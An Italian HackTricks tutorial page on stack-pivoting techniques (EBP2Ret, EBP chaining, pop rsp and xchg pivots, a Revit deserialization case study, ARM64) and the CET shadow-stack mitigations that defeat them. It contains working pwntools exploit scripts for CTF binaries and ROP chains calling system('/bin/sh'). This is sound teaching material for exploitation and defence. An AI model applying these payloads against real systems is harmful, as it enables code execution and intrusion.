Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l'esecuzione di più funzioni mediante l'uso accurato del frame pointer e della sequenza di istruzioni leave; ret
.
Come promemoria, su x86/x86-64 leave
è equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
E poiché l'EBP/RBP salvato si trova nello stack prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
Note
- Su 64-bit, sostituire EBP→RBP ed ESP→RSP. Le semantiche sono le stesse.
- Alcuni compiler omettono il frame pointer (vedi “EBP might not be used”). In quel caso
leave
potrebbe non comparire e questa tecnica non funzionerà.
EBP2Ret
Questa tecnica è particolarmente utile quando puoi alterare il saved EBP/RBP ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell'epilogo di funzione.
Se, durante l'esecuzione di fvuln
, riesci a iniettare un falso EBP nello stack che punti a un'area di memoria dove è contenuto l'indirizzo della tua shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del pop
), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave
imposta RSP sulla posizione costruita e il successivo pop rbp
decrementa RSP, facendo effettivamente puntare RSP a un indirizzo lì memorizzato dall'attaccante. Poi ret
userà quell'indirizzo.
Nota che devi conoscere 2 indirizzi: l'indirizzo dove ESP/RSP andrà a puntare, e il valore memorizzato a quell'indirizzo che ret
consumerà.
Exploit Construction
Per prima cosa devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterà qui e consumerà il primo ret
.
Poi, devi scegliere l'indirizzo usato da ret
che trasferirà l'esecuzione. Potresti usare:
- Un valido indirizzo ONE_GADGET.
- L'indirizzo di
system()
seguito dal return e dagli argomenti opportuni (su x86:ret
target =&system
, poi 4 byte junk, poi&"/bin/sh"
). - L'indirizzo di un gadget
jmp esp;
(ret2esp) seguito da shellcode inline. - Una ROP chain staged in memoria scrivibile.
Ricorda che prima di qualunque di questi indirizzi nell'area controllata, deve esserci spazio per il pop ebp/rbp
proveniente da leave
(8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo falso EBP e mantenere il controllo dopo che la prima chiamata ritorna.
Off-By-One Exploit
Esiste una variante usata quando puoi modificare solo il byte meno significativo del saved EBP/RBP. In tal caso, la locazione di memoria che memorizza l'indirizzo su cui saltare con il ret
deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarla. Di solito il byte basso (offset 0x00) viene aumentato per saltare il più possibile all'interno di una pagina/area allineata vicina.
È anche comune usare una RET sled nello stack e mettere la vera ROP chain alla fine per rendere più probabile che il nuovo RSP punti dentro lo sled e venga eseguita la ROP chain finale.
EBP Chaining
Posizionando un indirizzo controllato nello slot del saved EBP
nello stack e un gadget leave; ret
in EIP/RIP
, è possibile muovere ESP/RSP
verso un indirizzo controllato dall'attaccante.
Ora RSP
è controllato e l'istruzione successiva è ret
. Metti nella memoria controllata qualcosa tipo:
&(next fake EBP)
-> Caricato dapop ebp/rbp
dileave
.&system()
-> Chiamato daret
.&(leave;ret)
-> Dopo chesystem
termina, muove RSP verso il prossimo fake EBP e continua.&("/bin/sh")
-> Argomento persystem
.
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un ret2lib, ma più complesso e utile solo in casi limite.
Inoltre, qui c'è un esempio di una challenge che usa questa tecnica con un stack leak per chiamare una funzione di vittoria. Questo è il payload finale dalla pagina:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI richiede l'allineamento dello stack a 16 byte nei call sites. Se la tua chain chiama funzioni come
system
, aggiungi un alignment gadget (es.,ret
, osub rsp, 8 ; ret
) prima della call per mantenere l'allineamento ed evitare crash dovuti amovaps
.
EBP potrebbe non essere usato
Come explained in this post, se un binario è compilato con alcune ottimizzazioni o con omissione del frame-pointer, EBP/RBP non controlla mai ESP/RSP. Di conseguenza, qualsiasi exploit che funzioni controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina usando il frame pointer.
- Non ottimizzato / frame pointer usato:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Ottimizzato / frame pointer omesso:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Su amd64 vedrai spesso pop rbp ; ret
invece di leave ; ret
, ma se il frame pointer è completamente omesso allora non c'è un epilogo basato su rbp
attraverso cui pivotare.
Altri modi per controllare RSP
pop rsp
gadget
In this page puoi trovare un esempio che usa questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un pop rsp
gadget e c'era una leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la tecnica ret2esp qui:
Trovare pivot gadgets rapidamente
Usa il tuo gadget finder preferito per cercare i classici pivot primitives:
leave ; ret
on functions or in librariespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oradd esp, <imm> ; ret
on x86)
Esempi:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Una robusta strategia di pivot usata in molti CTFs/exploits:
- Use a small initial overflow to call
read
/recv
into a large writable region (e.g.,.bss
, heap, or mapped RW memory) and place a full ROP chain there. - Return into a pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) to move RSP to that region. - Continue with the staged chain (e.g., leak libc, call
mprotect
, thenread
shellcode, then jump to it).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers sometimes implement destructor loops that indirectly call a function pointer derived from attacker-controlled object fields. If each iteration offers exactly one indirect call (a “one-gadget” machine), you can convert this into a reliable stack pivot and ROP entry.
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Crafted objects of type
AString
place a pointer to attacker bytes at offset 0. - The destructor loop effectively executes one gadget per object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Due pivot pratici:
- Windows 10 (32-bit heap addrs): gadget “monster” disallineato che contiene
8B E0
→mov esp, eax
, infineret
, per pivotare dal call primitive a una heap-based ROP chain. - Windows 11 (full 64-bit addrs): usare due oggetti per guidare un constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(sposta il rax originale in rbp) - Gadget 2:
leave ; ... ; ret
(diventamov rsp, rbp ; pop rbp ; ret
), pivotando nel buffer del primo oggetto, dove segue una conventional ROP chain.
- Gadget 1:
Consigli per Windows x64 dopo il pivot:
- Rispetta lo 0x20-byte shadow space e mantieni l'allineamento a 16 byte prima dei siti di
call
. Spesso è conveniente posizionare i valori letterali sopra l'indirizzo di ritorno e usare un gadget comelea rcx, [rsp+0x20] ; call rax
seguito dapop rax ; ret
per passare indirizzi di stack senza corrompere il flusso di controllo. - I moduli helper Non-ASLR (se presenti) forniscono pool di gadget stabili e import come
LoadLibraryW
/GetProcAddress
per risolvere dinamicamente target comeucrtbase!system
. - Creare gadget mancanti tramite un thunk scrivibile: se una sequenza promettente termina con una
call
attraverso un puntatore di funzione scrivibile (es. DLL import thunk o puntatore di funzione in .data), sovrascrivi quel puntatore con un'istruzione benigna a singolo passo comepop rax ; ret
. La sequenza allora si comporta come se terminasse conret
(es.mov rdx, rsi ; mov rcx, rdi ; ret
), il che è inestimabile per caricare i registri arg Windows x64 senza corrompere gli altri.
Per la costruzione completa della catena e esempi di gadget, vedi il riferimento sotto.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Le moderne CPU x86 e gli OS adottano sempre più CET Shadow Stack (SHSTK). Con SHSTK abilitato, ret
confronta l'indirizzo di ritorno sullo stack normale con uno shadow stack protetto dall'hardware; qualsiasi discrepanza genera una Control-Protection fault e termina il processo. Perciò, tecniche come EBP2Ret/leave;ret-based pivots si schianteranno non appena il primo ret
viene eseguito da uno stack pivotato.
- Per contesto e dettagli approfonditi vedi:
- Verifiche rapide su Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Note per lab/CTF:
-
Alcune distro moderne abilitano SHSTK per i binari compatibili con CET quando l'hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel
nousershstk
, o abilitato selettivamente tramite i tunable di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su target di produzione. -
Tecniche basate su JOP/COOP o SROP potrebbero ancora essere applicabili su alcuni target, ma SHSTK rompe specificamente i pivot basati su
ret
. -
Nota Windows: Windows 10+ espone user-mode e Windows 11 aggiunge kernel-mode “Hardware-enforced Stack Protection” basata su shadow stacks. I processi compatibili con CET prevengono stack pivoting/ROP al
ret
; gli sviluppatori optano per queste protezioni tramite CETCOMPAT e politiche correlate (vedi riferimento).
ARM64
In ARM64, il prologo e gli epiloghi delle funzioni non salvano né ripristinano il registro SP nello stack. Inoltre, l'istruzione RET
non ritorna all'indirizzo puntato da SP, ma all'indirizzo contenuto in x30
.
Pertanto, di default, abusando soltanto dell'epilogo non sarai in grado di controllare il registro SP sovrascrivendo dati nello stack. E anche se riesci a controllare SP, avresti comunque bisogno di un modo per controllare il registro x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Il modo per eseguire qualcosa di simile a uno stack pivot in ARM64 sarebbe poter controllare il SP
(controllando un registro il cui valore viene assegnato a SP
o perché per qualche motivo SP
prende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell'epilogo per caricare il registro x30
da un SP
controllato e RET
su di esso.
Nella pagina seguente puoi vedere l'equivalente di Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, off-by-one exploitation con una rop chain che inizia con un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, senza relro, canary, nx e pie. Il programma fornisce un leak per lo stack o il pie e una WWW di una qword. Prima ottenere il leak dello stack e usare la WWW per tornare indietro e ottenere il leak del pie. Poi usare la WWW per creare un loop "eterno" abusando delle voci di
.fini_array
+ chiamando__libc_csu_fini
(more info here). Abusando di questa scrittura "eterna", viene scritta una ROP chain nella .bss e si finisce per chiamarla pivotando con RBP. - Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK,
nousershstk
, flag in/proc/$PID/status
, e abilitazione tramitearch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.